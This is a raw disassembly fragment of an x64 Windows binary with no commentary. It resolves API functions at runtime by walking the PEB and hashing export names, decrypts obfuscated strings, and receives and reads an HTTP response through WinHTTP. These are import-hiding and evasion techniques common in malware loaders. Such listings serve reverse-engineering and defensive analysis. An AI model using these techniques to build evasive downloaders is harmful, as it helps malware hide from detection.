call rax
mov rax, qword [0x14001b530]
test rax, rax
jne 0x140009787
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140009768
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140009768
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x674f8304
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140009763
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140009740
cmp edx, 0xf97986e8
je 0x14000987c
test r8d, r8d
jne 0x140009720
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000977e
cmp qword [rax + 0x30], 0
jne 0x1400096f0
xor eax, eax
mov qword [0x14001b530], rax
mov rcx, r14
call rax
mov rax, qword [0x14001b528]
test rax, rax
jne 0x140009853
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140009834
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140009834
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x5b6337d0
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000982f
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140009810
cmp edx, 0x1e7c3cac
je 0x140009898
test r8d, r8d
jne 0x1400097f0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000984a
cmp qword [rax + 0x30], 0
jne 0x1400097c0
xor eax, eax
mov qword [0x14001b528], rax
mov rcx, qword [rbp - 0x70]
call rax
mov al, 1
jmp 0x14000a8d2
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x1400096b0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x140009780
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
mov rcx, qword [rbp - 0x70]
add rax, r9
mov qword [0x14001b528], rax
call rax
mov al, 1
jmp 0x14000a8d2
xor edx, edx
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
jne 0x140009d93
movzx eax, word [0x140016f08]
xor ecx, ecx
movsd xmm1, qword [0x140016f00]
mov word [rbp - 0x80], ax
movzx eax, byte [0x140016f0a]
mov byte [rbp - 0x7e], al
movsd qword [rsp + 0x78], xmm1
movups xmm0, xmmword [str.qYPVX]
movups xmmword [rsp + 0x68], xmm0
cmp r15d, 2
jl 0x140009a5e
movdqa xmm0, xmmword [str.7777777777777777]
lea rdx, [rsp + 0x6c]
movdqa xmm5, xmmword [0x140016fe0]
movdqa xmm4, xmmword [0x140017040]
movdqa xmm7, xmmword [0x140017000]
movdqa xmmword [rsp + 0x40], xmm0
mov r8d, dword [rsp + 0x40]
movd xmm6, ebx
movd xmm8, edi
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x140017020]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140017020]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
pxor xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x140009950
cmp ecx, 0x1b
jge 0x140009a9f
movsxd rax, ecx
lea r8, [rsp + 0x68]
add r8, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
inc ecx
sub al, dl
add al, 0x37
xor byte [r8 - 1], al
cmp ecx, 0x1b
jl 0x140009a70
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [rsp + 0x68]
call fcn.1400010f0
lea rdx, [0x1400022d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [0x14001b520]
test rax, rax
jne 0x140009b87
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140009b68
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140009b68
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0xf7d276e8
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140009b63
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140009b40
cmp edx, 0x63787c24
je 0x140009d30
test r8d, r8d
jne 0x140009b20
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140009b7e
cmp qword [rax + 0x30], 0
jne 0x140009af0
xor eax, eax
mov qword [0x14001b520], rax
mov rcx, r12
call rax
mov rax, qword [0x14001b518]
test rax, rax
jne 0x140009c57
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140009c38
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140009c38
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0xe97221de
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140009c33
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140009c10
cmp edx, 0x6b78c172
je 0x140009d4c
test r8d, r8d
jne 0x140009bf0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140009c4e
cmp qword [rax + 0x30], 0
jne 0x140009bc0
xor eax, eax
mov qword [0x14001b518], rax
mov rcx, r14
call rax
mov rax, qword [0x14001b510]
test rax, rax
jne 0x140009d23
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140009d04
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140009d04
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x2f87e064
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140009cff
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140009ce0
cmp edx, 0xd91666c8
je 0x140009d68
test r8d, r8d
jne 0x140009cc0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140009d1a
cmp qword [rax + 0x30], 0
jne 0x140009c90
xor eax, eax
mov qword [0x14001b510], rax
mov rcx, qword [rbp - 0x70]
call rax
mov al, 1
jmp 0x14000a8d2
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x140009b80
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x140009c50
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
mov rcx, qword [rbp - 0x70]
add rax, r9
mov qword [0x14001b510], rax
call rax
mov al, 1
jmp 0x14000a8d2
mov dword [rbp + 0xc], 0
nop word [rax + rax]
mov rax, qword [0x14001b508]
mov dword [rbp + 8], 0
test rax, rax
jne 0x140009e67
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140009e48
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140009e48
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x388a53f2
lea rax, [r9 + r8*4]
mov eax, dword [rax + r11]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x140009e43
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x140009e20
cmp edx, 0x460e23c3
je 0x14000a232
test r8d, r8d
jne 0x140009e00
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140009e5e
cmp qword [rax + 0x30], 0
jne 0x140009dd0
xor eax, eax
mov qword [0x14001b508], rax
lea rdx, [rbp + 8]
mov rcx, r12
call rax
test eax, eax
je 0x14000a469
mov ecx, dword [rbp + 8]
inc ecx
call fcn.140014758
mov r14, rax
test rax, rax
je 0x14000a2c7
mov r10, qword [0x14001b500]
test r10, r10
jne 0x140009f58
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140009f38
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140009f38
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0xe368febd
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140009f33
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140009f10
cmp edx, 0x9aa057fe
je 0x14000a24e
test r8d, r8d
jne 0x140009ef0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140009f4e
cmp qword [rax + 0x30], 0
jne 0x140009ec0
xor r10d, r10d
mov qword [0x14001b500], r10
mov r8d, dword [rbp + 8]
xor edx, edx
inc r8d
mov rcx, r14
call r10
mov rax, qword [0x14001b4f8]
test rax, rax
jne 0x14000a027
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000a008
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000a008
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0xee3e4252
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000a003
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140009fe0
cmp edx, 0xc059ad0
je 0x14000a26b
test r8d, r8d
jne 0x140009fc0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000a01e
cmp qword [rax + 0x30], 0
jne 0x140009f90
xor eax, eax
mov qword [0x14001b4f8], rax
mov r8d, dword [rbp + 8]
lea r9, [rbp + 0xc]
mov rdx, r14
mov rcx, r12
call rax
test eax, eax
jne 0x14000a287
movups xmm0, xmmword [str.rJKUI]
xor ecx, ecx
movzx eax, byte [0x140016f60]
movsd xmm1, qword [0x140016f58]
movsd qword [rsp + 0x78], xmm1
mov byte [rbp - 0x80], al
movups xmmword [rsp + 0x68], xmm0
cmp r15d, 2
jl 0x14000a1ce
movdqa xmm0, xmmword [str.7777777777777777]
lea rdx, [rsp + 0x6c]
movdqa xmm5, xmmword [0x140016fe0]
mov eax, 5
movdqa xmm4, xmmword [0x140017040]
movdqa xmm7, xmmword [0x140017000]
movdqa xmmword [rsp + 0x40], xmm0
mov r8d, dword [rsp + 0x40]
movd xmm6, eax
mov eax, 0x1f
movd xmm8, eax
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x140017020]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140017020]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
pxor xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x14000a0c0
cmp ecx, 0x19
jge 0x14000a20f
movsxd rax, ecx
lea r8, [rsp + 0x68]
add r8, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
inc ecx
sub al, dl
add al, 0x37
xor byte [r8 - 1], al
cmp ecx, 0x19
jl 0x14000a1e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [rsp + 0x68]
call fcn.1400010f0
lea rdx, [0x1400022d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000a2b0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x140009e60
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x140009f51
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000a020
cmp byte [r13], 0
jne 0x14000a2b0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [r14 + r8], 0
jne 0x14000a295
lea rcx, [r13 + 8]
mov rdx, r14
call fcn.140003640
mov byte [r13], 1
mov rcx, r14
call fcn.140014750
cmp dword [rbp + 8], 0
ja 0x140009da0
jmp 0x14000a65f
cmp byte [0x140016f45], 0
mov eax, dword [0x140016f40]
movsd xmm0, qword [0x140016f38]
mov dword [rsp + 0x58], eax
movzx eax, word [0x140016f44]
mov word [rsp + 0x5c], ax
movsd qword [rsp + 0x50], xmm0
je 0x14000a45f
xor ecx, ecx
cmp r15d, 2
jl 0x14000a41f
movdqa xmm2, xmmword [0x140016fe0]
mov eax, 5
movdqa xmm3, xmmword [0x140016ff0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x140017040]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov ecx, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
mov eax, dword [str.7777777777777777]
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140017000]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140017020]
movd xmm1, dword [0x140016f38]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
pxor xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rsp + 0x50], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140017000]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140017020]
movd xmm1, dword [rsp + 0x54]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
pxor xmm2, xmm1
movd dword [rsp + 0x54], xmm2
movsxd rax, ecx
lea r8, [rsp + 0x50]
add r8, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
inc ecx
sub al, dl
add al, 0x37
xor byte [r8 - 1], al
cmp ecx, 0xe
jl 0x14000a430
lea rdx, [rsp + 0x50]
jmp 0x14000a643
movzx eax, word [0x140016f30]
xor ecx, ecx
mov word [rbp - 0x48], ax
movzx eax, byte [0x140016f32]
mov byte [rbp - 0x46], al
movups xmm0, xmmword [0x140016f10]
movups xmm1, xmmword [0x140016f20]
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x58], xmm1
cmp r15d, 2
jl 0x14000a5fe
movdqa xmm0, xmmword [str.7777777777777777]
lea rdx, [rbp - 0x64]
movdqa xmm5, xmmword [0x140016fe0]
mov eax, 5
movdqa xmm4, xmmword [0x140017040]
movdqa xmm7, xmmword [0x140017000]
movdqa xmmword [rsp + 0x40], xmm0
mov r8d, dword [rsp + 0x40]
movd xmm6, eax
mov eax, 0x1f
movd xmm8, eax
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x140017020]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140017020]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
pxor xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x20
jl 0x14000a4f0
cmp ecx, 0x23
jge 0x14000a63f
movsxd rax, ecx
lea r8, [rbp - 0x68]
add r8, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
inc ecx
sub al, dl
add al, 0x37
xor byte [r8 - 1], al
cmp ecx, 0x23
jl 0x14000a610
lea rdx, [rbp - 0x68]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400010f0
lea rdx, [0x1400022d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [0x14001b4f0]
test rax, rax
jne 0x14000a727
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000a708
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000a708
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x95703abf
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000a703
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14000a6e0
cmp edx, 0x89dc95eb
je 0x14000a924
test r8d, r8d
jne 0x14000a6c0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000a71e
cmp qword [rax + 0x30], 0
jne 0x14000a690
xor eax, eax
mov qword [0x14001b4f0], rax
mov rcx, r12
call rax
mov rax, qword [0x14001b4e8]
test rax, rax
jne 0x14000a7f7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000a7d8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000a7d8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x86b4ac31
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000a7d3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14000a7b0
cmp edx, 0xd4489d6d
je 0x14000a940
test r8d, r8d
jne 0x14000a790
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000a7ee
cmp qword [rax + 0x30], 0
jne 0x14000a760
xor eax, eax
mov qword [0x14001b4e8], rax
mov rcx, qword [rbp - 0x40]
call rax
mov rax, qword [0x14001b4e0]
test rax, rax
jne 0x14000a8c7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000a8a8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000a8a8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0xcddb6b8f
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000a8a3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14000a880
cmp edx, 0x4339c31b
je 0x14000a95c
test r8d, r8d
jne 0x14000a860
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000a8be
cmp qword [rax + 0x30], 0
jne 0x14000a830
xor eax, eax
mov qword [0x14001b4e0], rax
mov rcx, qword [rbp - 0x70]
call rax
movzx eax, byte [r13]
mov r14, qword [rsp + 0x198]
movaps xmm9, xmmword [rsp + 0x120]
movaps xmm8, xmmword [rsp + 0x130]
movaps xmm7, xmmword [rsp + 0x140]
